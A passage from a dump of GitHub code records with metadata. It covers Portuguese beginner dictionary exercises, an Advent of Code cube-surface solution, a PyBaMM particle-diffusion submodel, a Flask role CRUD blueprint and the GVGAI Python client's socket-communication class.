= soma/len(conjunto)\n for c in range(len(conjunto)):\n if conjunto[c]['idade'] > media:\n maiores.append(conjunto[c])\n print(f'Foram cadastradas {len(conjunto)} pessoas.')\n print(f'A média de idade é: {media:.2f}')\n print(f'A lista de mulheres é {mulheres}.')\n print(f'A lista com idade maior que a média é: {maiores}')\n \n jogador = {}\n Jogadores = []\n while True:\n jogador['nome'] = str(input('Nome: '))\n partidas = int(input('Quantas partidas ele jogou: '))\n gols = []\n total = 0\n for p in range(partidas):\n gols.append(int(input(f'Quantos gols na partida {p+1}: ')))\n total += gols[p]\n jogador['gols'] = gols[:]\n jogador['total'] = total\n Jogadores.append(jogador.copy())\n escolha = str(input('Quer continuar? [S/N] ')).upper()\n if escolha == 'N':\n break\n for c in Jogadores:\n for k, v in c.items():\n print(f'No campo {k} tem o valor {v}')\n print(f'O jogador {c[\"nome\"]} jogou {len(c[\"gols\"])} partidas')\n for i in range(len(c['gols'])):\n print(f'Na partida {i+1}, fez {c[\"gols\"][i]} gols')\n print(f'Foi um total de {c[\"total\"]} gols')\n while True:\n x = str(input('Mostrar dados de qual jogador? ')).upper()\n for j in Jogadores:\n if x == j['nome'].upper():\n print(f'Levantamento do jogador {j[\"nome\"]}.')\n for c in range(len(j['gols'])):\n print(f'No jogo {c+1} ele fez {j[\"gols\"][c]} gols.')\n escolha = str(input('Quer mostrar dados de mais algum jogador? [S/N] ')).upper()\n if escolha == 'N':\n break\n \n pessoas = {}\n for c in range(1):\n pessoas['nome'] = str(input('Nome: '))\n pessoas['idade'] = int(datetime.now().year-int(input('Qual o ano de nascimento: ')))\n pessoas['CTPS'] = int(input('nº da carteira de trabalho: '))\n if pessoas['CTPS'] != 0:\n pessoas['ano de contratação'] = int(input('Ano de contratação: '))\n pessoas['salario'] = float(input('Salário: '))\n x = 60 - (pessoas['idade'] + (datetime.now().year-pessoas['ano de contratação']))\n pessoas['idade de aposentar'] = pessoas['idade'] + x\n for k, v in pessoas.items():\n print(f'{k}: {v}')\n \n jogadores = {'Jogador_1':randint(1,6), 'Jogador_2':randint(1,6), 'Jogador_3':randint(1,6), 'Jogador_4':randint(1,6)}\n print('Valores sorteados')\n for k, v in jogadores.items():\n print(f'O {k} tirou {v}.')\n sleep(1)\n ranking = dict(sorted(jogadores.items(), key=itemgetter(1), reverse=True))\n print('Ranking dos Jogadores')\n c = 1\n for k, v in ranking.items():\n print(f'{c}º lugar: {k} com {v}')\n c +=1\n\n alunos = dict()\n sala = []\n for c in range(2):\n alunos['nome'] = str(input('Aluno: '))\n alunos['media'] = float(input(f'Qual a média de {alunos[\"nome\"]}: '))\n if alunos['media'] >= 7:\n alunos['situaçao'] = 'Aprovado'\n else:\n alunos['situaçao'] = 'Reprovado'\n sala.append(alunos.copy())\n for a in sala:\n for k, v in a.items():\n print(f'{k} é igual a {v}.')\n", "repo_name": "MAATHHEEUS/Python", "sub_path": "Python/dici.py", "file_name": "dici.py", "file_ext": "py", "file_size_in_byte": 3930, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.now", "line_number": 68, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 68, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 73, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 78, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 82, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 83, "usage_type": "call"}]} {"seq_id": "17545214875", "text": "import numpy as np\nimport networkx as nx\n\ninput = open(\"dia18_input.txt\", \"r\").read().strip().split(\"\\n\")\n\ndroplets = []\nfor i in input:\n x, y, z = i.split(\",\")\n droplets.append((int(x) + 1, int(y) + 1, int(z) + 1))\n\n\n# Parte 1\ngrid = np.full((25, 25, 25), False)\nfor droplet in droplets:\n x, y, z = droplet\n grid[x, y, z] = True\n\ncovered_sides = []\nfor droplet in droplets:\n x, y, z = droplet\n n_cover_sides = 0\n test_positions = [\n (x - 1, y, z),\n (x + 1, y, z),\n (x, y - 1, z),\n (x, y + 1, z),\n (x, y, z - 1),\n (x, y, z + 1),\n ]\n for position in test_positions:\n x_t, y_t, z_t = position\n if grid[x_t, y_t, z_t]:\n n_cover_sides += 1\n covered_sides.append(n_cover_sides)\nprint(sum([6 - cs for cs in covered_sides]))\n\n\n# Parte 2\nDG = nx.Graph()\nfor i in range(24):\n for j in range(24):\n for k in range(24):\n try_neighbours = [\n (i - 1, j, k),\n (i + 1, j, k),\n (i, j - 1, k),\n (i, j + 1, k),\n (i, j, k - 1),\n (i, j, k + 1),\n ]\n for neighb in try_neighbours:\n x, y, z = neighb\n if not grid[x, y, z] and not grid[i, j, k]:\n DG.add_edge((i, j, k), (x, y, z))\n\nair = set([ed[1] for ed in nx.bfs_edges(DG, (0, 0, 0))] + [(0, 0, 0)])\n\nn_external_face = 0\nfor i in range(24):\n for j in range(24):\n for k in range(24):\n if grid[i, j, k]:\n try_neighbours = [\n (i - 1, j, k),\n (i + 1, j, k),\n (i, j - 1, k),\n (i, j + 1, k),\n (i, j, k - 1),\n (i, j, k + 1),\n ]\n for neighb in try_neighbours:\n if neighb in air:\n n_external_face += 1\nprint(n_external_face)\n", "repo_name": "rcsalomao/advent_of_code", "sub_path": "2022/dia18/dia18.py", "file_name": "dia18.py", "file_ext": "py", "file_size_in_byte": 1945, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.full", "line_number": 13, "usage_type": "call"}, {"api_name": "networkx.Graph", "line_number": 39, "usage_type": "call"}, {"api_name": "networkx.bfs_edges", "line_number": 56, "usage_type": "call"}]} {"seq_id": "70079632222", "text": "#\n# Class for a single x-averaged particle with Fickian diffusion\n#\nimport pybamm\n\nfrom ..base_particle import BaseParticle\n\n\nclass XAveragedFickianDiffusion(BaseParticle):\n \"\"\"\n Class for molar conservation in a single x-averaged particle, employing Fick's\n law. I.e., the concentration varies with r (internal spherical coordinate)\n but not x (electrode coordinate).\n\n Parameters\n ----------\n param : parameter class\n The parameters to use for this submodel\n domain : str\n The domain of the model either 'Negative' or 'Positive'\n\n **Extends:** :class:`pybamm.particle.BaseParticle`\n \"\"\"\n\n def __init__(self, param, domain):\n super().__init__(param, domain)\n\n def get_fundamental_variables(self):\n if self.domain == \"Negative\":\n c_s_xav = pybamm.standard_variables.c_s_n_xav\n c_s = pybamm.SecondaryBroadcast(c_s_xav, [\"negative electrode\"])\n\n elif self.domain == \"Positive\":\n c_s_xav = pybamm.standard_variables.c_s_p_xav\n c_s = pybamm.SecondaryBroadcast(c_s_xav, [\"positive electrode\"])\n\n variables = self._get_standard_concentration_variables(c_s, c_s_xav=c_s_xav)\n\n return variables\n\n def get_coupled_variables(self, variables):\n c_s_xav = variables[\n \"X-averaged \" + self.domain.lower() + \" particle concentration\"\n ]\n T_xav = pybamm.PrimaryBroadcast(\n variables[\"X-averaged \" + self.domain.lower() + \" electrode temperature\"],\n [self.domain.lower() + \" particle\"],\n )\n\n if self.domain == \"Negative\":\n N_s_xav = -self.param.D_n(c_s_xav, T_xav) * pybamm.grad(c_s_xav)\n\n elif self.domain == \"Positive\":\n N_s_xav = -self.param.D_p(c_s_xav, T_xav) * pybamm.grad(c_s_xav)\n\n N_s = pybamm.SecondaryBroadcast(N_s_xav, [self._domain.lower() + \" electrode\"])\n\n variables.update(self._get_standard_flux_variables(N_s, N_s_xav))\n variables.update(self._get_total_concentration_variables(variables))\n\n return variables\n\n def set_rhs(self, variables):\n c_s_xav = variables[\n \"X-averaged \" + self.domain.lower() + \" particle concentration\"\n ]\n N_s_xav = variables[\"X-averaged \" + self.domain.lower() + \" particle flux\"]\n\n if self.domain == \"Negative\":\n self.rhs = {c_s_xav: -(1 / self.param.C_n) * pybamm.div(N_s_xav)}\n\n elif self.domain == \"Positive\":\n self.rhs = {c_s_xav: -(1 / self.param.C_p) * pybamm.div(N_s_xav)}\n\n def set_boundary_conditions(self, variables):\n c_s_xav = variables[\n \"X-averaged \" + self.domain.lower() + \" particle concentration\"\n ]\n T_xav = pybamm.PrimaryBroadcast(\n variables[\"X-averaged \" + self.domain.lower() + \" electrode temperature\"],\n c_s_xav.domain[0],\n )\n j_xav = variables[\n \"X-averaged \"\n + self.domain.lower()\n + \" electrode interfacial current density\"\n ]\n\n if self.domain == \"Negative\":\n rbc = (\n -self.param.C_n\n * j_xav\n / self.param.a_R_n\n / pybamm.surf(self.param.D_n(c_s_xav, T_xav))\n )\n\n elif self.domain == \"Positive\":\n rbc = (\n -self.param.C_p\n * j_xav\n / self.param.a_R_p\n / self.param.gamma_p\n / pybamm.surf(self.param.D_p(c_s_xav, T_xav))\n )\n\n self.boundary_conditions = {\n c_s_xav: {\"left\": (pybamm.Scalar(0), \"Neumann\"), \"right\": (rbc, \"Neumann\")}\n }\n\n def set_initial_conditions(self, variables):\n \"\"\"\n For single or x-averaged particle models, initial conditions can't depend on x\n so we arbitrarily set the initial values of the single particles to be given\n by the values at x=0 in the negative electrode and x=1 in the\n positive electrode. Typically, supplied initial conditions are uniform\n x.\n \"\"\"\n c_s_xav = variables[\n \"X-averaged \" + self.domain.lower() + \" particle concentration\"\n ]\n\n if self.domain == \"Negative\":\n c_init = self.param.c_n_init(0)\n\n elif self.domain == \"Positive\":\n c_init = self.param.c_p_init(1)\n\n self.initial_conditions = {c_s_xav: c_init}\n", "repo_name": "emptylkj/PyBaMM", "sub_path": "pybamm/models/submodels/particle/no_distribution/x_averaged_fickian_diffusion.py", "file_name": "x_averaged_fickian_diffusion.py", "file_ext": "py", "file_size_in_byte": 4394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "base_particle.BaseParticle", "line_number": 9, "usage_type": "name"}, {"api_name": "pybamm.standard_variables", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pybamm.SecondaryBroadcast", "line_number": 31, "usage_type": "call"}, {"api_name": "pybamm.standard_variables", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pybamm.SecondaryBroadcast", "line_number": 35, "usage_type": "call"}, {"api_name": "pybamm.PrimaryBroadcast", "line_number": 45, "usage_type": "call"}, {"api_name": "pybamm.grad", "line_number": 51, "usage_type": "call"}, {"api_name": "pybamm.grad", "line_number": 54, "usage_type": "call"}, {"api_name": "pybamm.SecondaryBroadcast", "line_number": 56, "usage_type": "call"}, {"api_name": "pybamm.div", "line_number": 70, "usage_type": "call"}, {"api_name": "pybamm.div", "line_number": 73, "usage_type": "call"}, {"api_name": "pybamm.PrimaryBroadcast", "line_number": 79, "usage_type": "call"}, {"api_name": "pybamm.surf", "line_number": 94, "usage_type": "call"}, {"api_name": "pybamm.surf", "line_number": 103, "usage_type": "call"}, {"api_name": "pybamm.Scalar", "line_number": 107, "usage_type": "call"}]} {"seq_id": "26099301752", "text": "from flask import request, jsonify, Blueprint\nfrom app.aplicacion import db, ma, Rol\n\nrole = Blueprint('rol', __name__)\n\nclass RoleSchema(ma.Schema):\n class Meta:\n fields = ('id', 'nom', 'desc', 'fecha')\n\nrole_schema = RoleSchema()\nroles_schema = RoleSchema(many=True)\n\n@role.route('/roleC', methods=['Post'])\ndef create_role():\n nom = request.json['nom']\n desc = request.json['desc']\n fecha = request.json['fecha']\n\n new_role = Rol(nom, desc, fecha)\n\n db.session.add(new_role)\n db.session.commit()\n\n return role_schema.jsonify(new_role)\n\n@role.route('/rolesG', methods=['GET'])\ndef get_roles():\n all_roles = Rol.query.all()\n result = roles_schema.dump(all_roles)\n return jsonify(result)\n\n@role.route('/rolesG/', methods=['GET'])\ndef get_role(id):\n role = Rol.query.get(id)\n return role_schema.jsonify(role)\n\n@role.route('/roleU/', methods=['PUT'])\ndef update_role(id):\n role = Rol.query.get(id)\n\n nom = request.json['nom']\n desc = request.json['desc']\n fecha = request.json['fecha']\n\n role.nom = nom\n role.desc = desc\n role.fecha = fecha\n\n db.session.commit()\n\n return role_schema.jsonify(role)\n\n@role.route('/roleD/', methods=['DELETE'])\ndef delete_role(id):\n role = Rol.query.get(id)\n db.session.delete(role)\n db.session.commit()\n return role_schema.jsonify(role)\n", "repo_name": "JotaDGBarnel/API-Rest-Autenticacion", "sub_path": "models/rol.py", "file_name": "rol.py", "file_ext": "py", "file_size_in_byte": 1314, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Blueprint", "line_number": 4, "usage_type": "call"}, {"api_name": "app.aplicacion.ma.Schema", "line_number": 6, "usage_type": "attribute"}, {"api_name": "app.aplicacion.ma", "line_number": 6, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 16, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "app.aplicacion.Rol", "line_number": 19, "usage_type": "call"}, {"api_name": "app.aplicacion.db.session.add", "line_number": 21, "usage_type": "call"}, {"api_name": "app.aplicacion.db.session", "line_number": 21, "usage_type": "attribute"}, {"api_name": "app.aplicacion.db", "line_number": 21, "usage_type": "name"}, {"api_name": "app.aplicacion.db.session.commit", "line_number": 22, "usage_type": "call"}, {"api_name": "app.aplicacion.db.session", "line_number": 22, "usage_type": "attribute"}, {"api_name": "app.aplicacion.db", "line_number": 22, "usage_type": "name"}, {"api_name": "app.aplicacion.Rol.query.all", "line_number": 28, "usage_type": "call"}, {"api_name": "app.aplicacion.Rol.query", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app.aplicacion.Rol", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 30, "usage_type": "call"}, {"api_name": "app.aplicacion.Rol.query.get", "line_number": 34, "usage_type": "call"}, {"api_name": "app.aplicacion.Rol.query", "line_number": 34, "usage_type": "attribute"}, {"api_name": "app.aplicacion.Rol", "line_number": 34, "usage_type": "name"}, {"api_name": "app.aplicacion.Rol.query.get", "line_number": 39, "usage_type": "call"}, {"api_name": "app.aplicacion.Rol.query", "line_number": 39, "usage_type": "attribute"}, {"api_name": "app.aplicacion.Rol", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "app.aplicacion.db.session.commit", "line_number": 49, "usage_type": "call"}, {"api_name": "app.aplicacion.db.session", "line_number": 49, "usage_type": "attribute"}, {"api_name": "app.aplicacion.db", "line_number": 49, "usage_type": "name"}, {"api_name": "app.aplicacion.Rol.query.get", "line_number": 55, "usage_type": "call"}, {"api_name": "app.aplicacion.Rol.query", "line_number": 55, "usage_type": "attribute"}, {"api_name": "app.aplicacion.Rol", "line_number": 55, "usage_type": "name"}, {"api_name": "app.aplicacion.db.session.delete", "line_number": 56, "usage_type": "call"}, {"api_name": "app.aplicacion.db.session", "line_number": 56, "usage_type": "attribute"}, {"api_name": "app.aplicacion.db", "line_number": 56, "usage_type": "name"}, {"api_name": "app.aplicacion.db.session.commit", "line_number": 57, "usage_type": "call"}, {"api_name": "app.aplicacion.db.session", "line_number": 57, "usage_type": "attribute"}, {"api_name": "app.aplicacion.db", "line_number": 57, "usage_type": "name"}]} {"seq_id": "784013028", "text": "import importlib\nimport json\nimport logging\nimport sys\nimport os\nimport traceback\n\nfrom utils.SerializableStateObservation import SerializableStateObservation, Phase, Observation\n\nsys.path.append(os.path.dirname(os.path.realpath(__file__))+'/..')\nsys.path.append('../sampleRandom')\n\nfrom CompetitionParameters import CompetitionParameters\nfrom ElapsedCpuTimer import ElapsedCpuTimer\nfrom IOSocket import IOSocket\nfrom Types import LEARNING_SSO_TYPE\n\n\nclass ClientComm:\n \"\"\"\n * Client communication, set up the socket for a given agent\n \"\"\"\n\n def __init__(self, agentName):\n self.TOKEN_SEP = '#'\n self.io = IOSocket(CompetitionParameters.SOCKET_PORT)\n self.sso = SerializableStateObservation()\n self.agentName = agentName\n self.lastMessageId = 0\n self.LOG = False\n self.player = None\n self.global_ect = None\n self.lastSsoType = LEARNING_SSO_TYPE.JSON\n\n def startComm(self):\n self.io.initBuffers()\n\n try:\n self.listen()\n except Exception as e:\n logging.exception(e)\n print(\"Start listen [FAILED]\")\n traceback.print_exc()\n sys.exit()\n\n \"\"\"\n * Method that perpetually listens for messages from the server.\n * With the use of additional helper methods, this function interprets\n * messages and represents the core response-generation methodology of the agent.\n * @throws IOException\n \"\"\"\n\n def listen(self):\n line = ''\n\n while line is not None:\n line = self.io.readLine()\n line = line.rstrip(\"\\r\\n\")\n self.processLine(line)\n\n if self.sso.phase == Phase.START:\n self.start()\n\n elif self.sso.phase == \"INIT\":\n self.sso.phase = Phase.INIT\n self.init()\n\n elif self.sso.phase == Phase.INIT:\n self.init()\n\n elif self.sso.phase == \"END\":\n self.sso.phase = Phase.END\n self.result()\n\n elif self.sso.phase == Phase.END:\n self.result()\n\n elif self.sso.phase == \"ABORT\":\n self.sso.phase = Phase.ABORT\n self.result()\n\n elif self.sso.phase == Phase.ABORT:\n self.result()\n\n elif self.sso.phase == \"ACT\":\n self.sso.phase = Phase.ACT\n self.act()\n\n elif self.sso.phase == Phase.ACT:\n self.act()\n\n elif self.sso.phase == Phase.FINISH:\n line = None\n\n elif self.sso.phase == \"FINISH\":\n line = None\n\n else:\n self.io.writeToServer(self.lastMessageId, 'ERROR', self.LOG)\n\n \"\"\"\n Helper method that converts a given dictionary into\n a correct SSO type\n \"\"\"\n\n def as_sso(self, d):\n self.sso.__dict__.update(d)\n return self.sso\n\n def parse_json(self, input):\n parsed_input = json.loads(input)\n self.sso.__dict__.update(parsed_input)\n if parsed_input.get('observationGrid'):\n self.sso.observationGrid = [[[None for j in range(self.sso.observationGridMaxCol)]\n for i in range(self.sso.observationGridMaxRow)]\n for k in range(self.sso.observationGridNum)]\n for i in range(self.sso.observationGridNum):\n for j in range(len(parsed_input['observationGrid'][i])):\n for k in range(len(parsed_input['observationGrid'][i][j])):\n self.sso.observationGrid[i][j][k] = Observation(parsed_input['observationGrid'][i][j][k])\n\n if parsed_input.get('NPCPositions'):\n self.sso.NPCPositions = [[None for j in\n range(self.sso.NPCPositionsMaxRow)] for i in\n range(self.sso.NPCPositionsNum)]\n for i in range(self.sso.NPCPositionsNum):\n for j in range(len(parsed_input['NPCPositions'][i])):\n self.sso.NPCPositions[i][j] = Observation(parsed_input['NPCPositions'][i][j])\n\n if parsed_input.get('immovablePositions'):\n self.sso.immovablePositions = [[None for j in\n range(self.sso.immovablePositionsMaxRow)] for i in\n range(self.sso.immovablePositionsNum)]\n for i in range(self.sso.immovablePositionsNum):\n for j in range(len(parsed_input['immovablePositions'][i])):\n self.sso.immovablePositions[i][j] = Observation(parsed_input['immovablePositions'][i][j])\n\n if parsed_input.get('movablePositions'):\n self.sso.movablePositions = [[None for j in\n range(self.sso.movablePositionsMaxRow)] for i in\n range(self.sso.movablePositionsNum)]\n for i in range(self.sso.movablePositionsNum):\n for j in range(len(parsed_input['movablePositions'][i])):\n self.sso.movablePositions[i][j] = Observation(parsed_input['movablePositions'][i][j])\n\n if parsed_input.get('resourcesPositions'):\n self.sso.resourcesPositions = [[None for j in\n range(self.sso.resourcesPositionsMaxRow)] for i in\n range(self.sso.resourcesPositionsNum)]\n for i in range(self.sso.resourcesPositionsNum):\n for j in range(len(parsed_input['resourcesPositions'][i])):\n self.sso.resourcesPositions[i][j] = Observation(parsed_input['resourcesPositions'][i][j])\n\n if parsed_input.get('portalsPositions'):\n self.sso.portalsPositions = [[None for j in\n range(self.sso.portalsPositionsMaxRow)] for i in\n range(self.sso.portalsPositionsNum)]\n for i in range(self.sso.portalsPositionsNum):\n for j in range(len(parsed_input['portalsPositions'][i])):\n self.sso.portalsPositions[i][j] = Observation(parsed_input['portalsPositions'][i][j])\n\n if parsed_input.get('fromAvatarSpritesPositions'):\n self.sso.fromAvatarSpritesPositions = [[None for j in\n range(self.sso.fromAvatarSpritesPositionsMaxRow)] for i in\n range(self.sso.fromAvatarSpritesPositionsNum)]\n for i in range(self.sso.fromAvatarSpritesPositionsNum):\n for j in range(len(parsed_input['fromAvatarSpritesPositions'][i])):\n self.sso.fromAvatarSpritesPositions[i][j] = Observation(parsed_input['fromAvatarSpritesPositions'][i][j])\n\n\n \"\"\"\n * Method that interprets the received messages from the server's side.\n * A message can either be a string (in the case of initialization), or\n * a json object containing an encapsulated state observation.\n * This method deserializes the json object into a local state observation\n * instance.\n * @param msg Message received from server to be interpreted.\n * @throws IOException\n \"\"\"\n\n def processLine(self, msg):\n try:\n if msg is None:\n print (\"Message is null\")\n return\n\n message = msg.split(self.TOKEN_SEP)\n if len(message) < 2:\n print (\"Message not complete\")\n return\n\n self.lastMessageId = message[0]\n js = message[1]\n\n self.sso = SerializableStateObservation()\n if js == \"START\":\n self.sso.phase = Phase.START\n elif js == \"FINISH\":\n self.sso.phase = Phase.FINISH\n else:\n js.replace('\"', '')\n self.parse_json(js)\n # self.sso = json.loads(js, object_hook=self.as_sso)\n\n if self.sso.phase == \"ACT\":\n if self.lastSsoType == LEARNING_SSO_TYPE.IMAGE or self.lastSsoType == \"IMAGE\" \\\n or self.lastSsoType == LEARNING_SSO_TYPE.BOTH or self.lastSsoType == \"BOTH\":\n if self.sso.imageArray:\n self.sso.convertBytesToPng(self.sso.imageArray)\n\n except Exception as e:\n logging.exception(e)\n print(\"Line processing [FAILED]\")\n traceback.print_exc()\n sys.exit()\n\n \"\"\"\n * Manages the start of the communication. It starts the whole process, and sets up the timer for the whole run.\n \"\"\"\n\n def start(self):\n self.global_ect = ElapsedCpuTimer()\n self.global_ect.setMaxTimeMillis(CompetitionParameters.TOTAL_LEARNING_TIME)\n ect = ElapsedCpuTimer()\n ect.setMaxTimeMillis(CompetitionParameters.START_TIME)\n self.startAgent()\n if ect.exceededMaxTime():\n self.io.writeToServer(self.lastMessageId, \"START_FAILED\", self.LOG)\n else:\n self.io.writeToServer(self.lastMessageId, \"START_DONE\" + \"#\" + self.lastSsoType, self.LOG)\n\n def startAgent(self):\n try:\n try:\n module = importlib.import_module(self.agentName, __name__)\n try:\n self.player = getattr(module, 'Agent')()\n self.lastSsoType = self.player.lastSsoType\n except AttributeError:\n logging.error('ERROR: Class does not exist')\n traceback.print_exc()\n sys.exit()\n except ImportError:\n logging.error('ERROR: Module does not exist')\n traceback.print_exc()\n sys.exit()\n print(\"Agent startup [OK]\")\n except Exception as e:\n logging.exception(e)\n print(\"Agent startup [FAILED]\")\n traceback.print_exc()\n sys.exit()\n\n \"\"\"\n * Manages the init of a game played.\n \"\"\"\n\n def init(self):\n ect = ElapsedCpuTimer()\n ect.setMaxTimeMillis(CompetitionParameters.INITIALIZATION_TIME)\n self.player.init(self.sso, ect.copy())\n self.lastSsoType = self.player.lastSsoType\n if ect.exceededMaxTime():\n self.io.writeToServer(self.lastMessageId, \"INIT_FAILED\", self.LOG)\n else:\n self.io.writeToServer(self.lastMessageId, \"INIT_DONE\" + \"#\" + self.lastSsoType, self.LOG)\n\n \"\"\"\n * Manages the action request for an agent. The agent is requested for an action,\n * which is sent back to the server\n \"\"\"\n\n def act(self):\n ect = ElapsedCpuTimer()\n ect.setMaxTimeMillis(CompetitionParameters.ACTION_TIME)\n action = str(self.player.act(self.sso, ect.copy()))\n if (not action) or (action == \"\"):\n action = \"ACTION_NIL\"\n\n self.lastSsoType = self.player.lastSsoType\n if ect.exceededMaxTime():\n if ect.elapsedNanos() > CompetitionParameters.ACTION_TIME_DISQ*1000000:\n self.io.writeToServer(self.lastMessageId, \"END_OVERSPENT\", self.LOG)\n else:\n self.io.writeToServer(self.lastMessageId, \"ACTION_NIL\" + \"#\" + self.lastSsoType, self.LOG)\n else:\n self.io.writeToServer(self.lastMessageId, action + \"#\" + self.lastSsoType, self.LOG)\n\n \"\"\"\n * Manages the aresult sent to the agent. The time limit for this call will be TOTAL_LEARNING_TIME\n * or EXTRA_LEARNING_TIME if current global time is beyond TOTAL_LEARNING_TIME.\n * The agent is assumed to return the next level to play. It will be ignored if\n * a) All training levels have not been played yet (in which case the starting sequence 0-1-2 continues).\n * b) It's outside the range [0,4] (in which case we play one at random)\n * c) or we are in the validation phase (in which case the starting sequence 3-4 continues).\n \"\"\"\n\n def result(self):\n ect = ElapsedCpuTimer()\n\n if not self.global_ect.exceededMaxTime():\n ect = self.global_ect.copy()\n else:\n ect.setMaxTimeMillis(CompetitionParameters.EXTRA_LEARNING_TIME)\n\n nextLevel = self.player.result(self.sso, ect.copy())\n # print \"Result of a game at \" + str(ect.remainingTimeMillis()) + \"ms to the end.\"\n self.lastSsoType = self.player.lastSsoType\n if ect.exceededMaxTime():\n self.io.writeToServer(self.lastMessageId, \"END_OVERSPENT\", self.LOG)\n else:\n\n if self.global_ect.exceededMaxTime():\n end_message = \"END_VALIDATION\" if self.sso.isValidation else \"END_TRAINING\"\n self.io.writeToServer(self.lastMessageId, end_message, self.LOG)\n else:\n self.io.writeToServer(self.lastMessageId, str(nextLevel) + \"#\" + self.lastSsoType, self.LOG)\n", "repo_name": "EssexUniversityMCTS/gvgai", "sub_path": "clients/GVGAI-PythonClient/src/utils/ClientComm.py", "file_name": "ClientComm.py", "file_ext": "py", "file_size_in_byte": 12898, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 140, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "IOSocket.IOSocket", "line_number": 26, "usage_type": "call"}, {"api_name": "CompetitionParameters.CompetitionParameters.SOCKET_PORT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "CompetitionParameters.CompetitionParameters", "line_number": 26, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.SerializableStateObservation", "line_number": 27, "usage_type": "call"}, {"api_name": "Types.LEARNING_SSO_TYPE.JSON", "line_number": 33, "usage_type": "attribute"}, {"api_name": "Types.LEARNING_SSO_TYPE", "line_number": 33, "usage_type": "name"}, {"api_name": "logging.exception", "line_number": 41, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 43, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 44, "usage_type": "call"}, {"api_name": "utils.SerializableStateObservation.Phase.START", "line_number": 61, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 61, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.INIT", "line_number": 65, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 65, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.INIT", "line_number": 68, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 68, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.END", "line_number": 72, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 72, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.END", "line_number": 75, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 75, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.ABORT", "line_number": 79, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 79, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.ABORT", "line_number": 82, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 82, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.ACT", "line_number": 86, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 86, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.ACT", "line_number": 89, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 89, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.FINISH", "line_number": 92, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 92, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 111, "usage_type": "call"}, {"api_name": "utils.SerializableStateObservation.Observation", "line_number": 120, "usage_type": "call"}, {"api_name": "utils.SerializableStateObservation.Observation", "line_number": 128, "usage_type": "call"}, {"api_name": "utils.SerializableStateObservation.Observation", "line_number": 136, "usage_type": "call"}, {"api_name": "utils.SerializableStateObservation.Observation", "line_number": 144, "usage_type": "call"}, {"api_name": "utils.SerializableStateObservation.Observation", "line_number": 152, "usage_type": "call"}, {"api_name": "utils.SerializableStateObservation.Observation", "line_number": 160, "usage_type": "call"}, {"api_name": "utils.SerializableStateObservation.Observation", "line_number": 168, "usage_type": "call"}, {"api_name": "utils.SerializableStateObservation.SerializableStateObservation", "line_number": 195, "usage_type": "call"}, {"api_name": 